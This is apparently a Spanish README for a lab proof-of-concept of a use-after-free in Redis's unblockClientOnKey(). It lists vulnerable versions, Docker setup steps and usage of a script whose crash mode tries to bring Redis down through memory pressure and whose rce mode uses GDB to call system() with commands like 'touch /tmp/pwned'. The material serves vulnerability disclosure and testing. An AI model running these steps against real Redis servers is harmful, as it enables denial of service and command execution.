
Prueba de concepto con explotación asistida por GDB (solo uso educativo / de laboratorio)
Use-After-Free en Redis
unblockClientOnKey()que conduce a Ejecución Remota de Código
Prueba de concepto con explotación asistida por GDB (solo para uso educativo / de laboratorio)
CVE-2026-23479 es una vulnerabilidad crítica de Use‑After‑Free (UAF) en las versiones de Redis 7.2.0 hasta la 8.6.2.
El fallo reside en unblockClientOnKey() que llama a processCommandAndResetClient() sin verificar su valor de retorno.
Si el cliente es liberado durante esa llamada (por ejemplo, debido a una expulsión), el llamador continúa operando sobre un puntero colgante → UAF.
Un atacante que pueda manipular el heap después de la liberación podría lograr ejecución de código arbitrario.
Este repositorio proporciona una PoC asistida por GDB que:
freeClient())system() en el mismo punto⚠️ Importante: Esto no es un exploit armado. Utiliza GDB dentro de un contenedor Docker privilegiado para simular lo que un atacante real podría lograr tras explotar con éxito la vulnerabilidad. Úsalo solo en tu propio laboratorio o en sistemas para los que tengas permiso explícito de prueba.
https://github.com/user-attachments/assets/5ce3aff0-e21c-4ad4-8a0b-50b57bdcf9ea
crash, gdb, rce, full--containerXREAD BLOCK hace que el cliente espere datos del stream.pid 1) dentro del contenedor.processCommandAndResetClient – la función llamada cuando el cliente bloqueado es reprocesado.XADD en el mismo stream despierta a la víctima.gdb: llama a freeClient($rdi) → provoca deliberadamente un SIGSEGV → demuestra el UAF.rce: llama a system("tu comando") → ejecuta comandos de shell arbitrarios como el usuario de Redis (root por defecto).El punto de interrupción se activa cada vez que un cliente bloqueado es desbloqueado, mostrando que la misma ruta de código que contiene el UAF también permite la ejecución de código.
| Rama | Rango Vulnerable |
|---|---|
| 7.2 | 7.2.0 – 7.2.13 |
| 7.4 | 7.4.0 – 7.4.8 |
| 8.2 | 8.2.0 – 8.2.5 |
| 8.4 | 8.4.0 – 8.4.2 |
| 8.6 | 8.6.0 – 8.6.2 |
El script analiza automáticamente la versión de Redis e informa si es vulnerable.
apt (por ejemplo, la oficial redis:8.6.2)--privileged (necesario para ptrace)git clone https://github.com/YOUR_USERNAME/CVE-2026-23479-PoC.git
cd CVE-2026-23479-PoC
docker run -d --name redis-vuln-local --privileged -p 6379:6379 \
redis:8.6.2 redis-server --protected-mode no
docker exec -u root redis-vuln-local bash -c "
apt-get update && apt-get install -y gdb binutils procps
"
docker exec redis-vuln-local gdb --version
redis-cli -h 127.0.0.1 -p 6379 ping # should return PONG
python3 redisexp.py <target> -p <port> -m <mode> --container <name> [--cmd "command"]
| Modo | Descripción |
|---|---|
crash | Intenta desencadenar el UAF mediante presión de memoria (no requiere GDB). Redis puede caerse, pero no está garantizado. |
gdb | Adjunta GDB y llama a freeClient() en el punto de interrupción → fuerza un SIGSEGV (demuestra el UAF). |
rce | Adjunta GDB y llama a system(cmd) en el punto de interrupción → ejecuta un comando de shell dentro del contenedor. |
full | Ejecuta crash primero; si Redis no se cae, recurre a gdb. |
| Argumento | Predeterminado | Descripción |
|---|---|---|
target | (obligatorio) | Dirección IP del servidor Redis |
-p, --port | 6379 | Puerto de Redis |
-m, --mode | full | Uno de crash, gdb, rce, full |
--container | env-redis-vuln-1 | Nombre del contenedor Docker |
--cmd | id > /tmp/pwned_by_cve | Comando a ejecutar en modo rce |
Nota: Todos los comandos se ejecutan desde la máquina host, no dentro del contenedor Docker.
python3 redisexp.py 127.0.0.1 -p 6379 -m gdb --container redis-vuln-local
[+] Victim blocked on XREAD
[+] GDB script deployed
[*] Triggering unblock via XADD...
[+] SIGSEGV in processCommand after freeClient()
[+] This confirms the UAF code path in unblockClientOnKey()
Redis se caerá tras el fallo de segmentación.
Reiniciar el contenedor:
docker start redis-vuln-local
Reiniciar Redis para asegurar un estado limpio:
docker restart redis-vuln-local
Ejecutar el exploit:
python3 redisexp.py 127.0.0.1 -p 6379 -m rce \
--cmd "touch /tmp/pwned" \
--container redis-vuln-local
Verificar el archivo de prueba:
docker exec redis-vuln-local ls -l /tmp/pwned
Si tiene éxito, el archivo existirá, demostrando que:
system("touch /tmp/pwned");
se ejecutó dentro del contenedor Redis.
python3 redisexp.py 127.0.0.1 -p 6379 -m crash --container redis-vuln-local
Si Redis sale inesperadamente (el contenedor ya no está en ejecución), es probable que se haya desencadenado el UAF.
Reiniciarlo con:
docker start redis-vuln-local
python3 redisexp.py 127.0.0.1 -p 6379 -m full --container redis-vuln-local
Este modo:
============================================================
CVE-2026-23479 Redis UAF Exploit PoC
============================================================
[*] Target: 127.0.0.1:6379
[*] Version: 8.6.2
[+] VULNERABLE
[*] Method: RCE via UAF code path injection
Exploits CVE-2026-23479 UAF in unblockClientOnKey()
Breakpoint on processCommandAndResetClient -> system()
Command: touch /tmp/pwned